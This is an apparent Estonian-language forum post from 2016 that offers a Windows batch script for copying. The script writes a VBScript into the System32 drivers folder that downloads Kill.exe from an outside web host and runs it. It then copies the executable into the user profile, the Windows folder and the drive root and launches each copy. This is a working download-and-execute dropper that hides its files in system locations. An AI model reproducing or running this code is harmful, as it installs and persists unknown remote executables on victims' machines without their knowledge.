Laadi alla määratud võrgufaili partii lähtekood

katse · Postitatud 18.01.2016 12:35:04

@echo off
echo On Error Resume Next >%systemroot%\System32\drivers\Kill.vbs
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>%systemroot%\System32\drivers\Kill.vbs
echo xPost.Open "GET","http://www.wwwbug.com/Down/Kill.exe",0 >>%systemroot%\System32\drivers\Kill.vbs
echo xPost.Send() >>%systemroot%\System32\drivers\Kill.vbs
echo Set sGet = CreateObject("ADODB.Stream") >>%systemroot%\System32\drivers\Kill.vbs
echo sGet.Mode = 3 >>%systemroot%\System32\drivers\Kill.vbs
echo sGet.Type = 1 >>%systemroot%\System32\drivers\Kill.vbs
echo sGet.Open() >>%systemroot%\System32\drivers\Kill.vbs
echo sGet.Write(xPost.responseBody) >>%systemroot%\System32\drivers\Kill.vbs
echo sGet.SaveToFile "%systemdrive%\PROGRAM FILES\Kill.exe",2 >>%systemroot%\System32\drivers\Kill.vbs
echo CreateObject ("Wscrip{过滤}t.shell").run "%systemdrive%\PROGRAM FILES\Kill.exe" >>%systemroot%\System32\drivers\Kill.vbs
start %systemroot%\System32\drivers\Kill.vbs
xcopy "%systemdrive%\PROGRAM FILES\Kill.exe" "%USERPROFILE%" /C /I /G /H /R /Y
xcopy "%systemdrive%\PROGRAM FILES\Kill.exe" "%systemroot%" /C /I /G /H /R /Y
xcopy "%systemdrive%\PROGRAM FILES\Kill.exe" "%SYSTEMDRIVE%" /C /I /G /H /R /Y
start "%SYSTEMDRIVE%\Kill.exe"
start "%systemroot%\Kill.exe"
start "%USERPROFILE%\Kill.exe"
pause

Kopeeri kood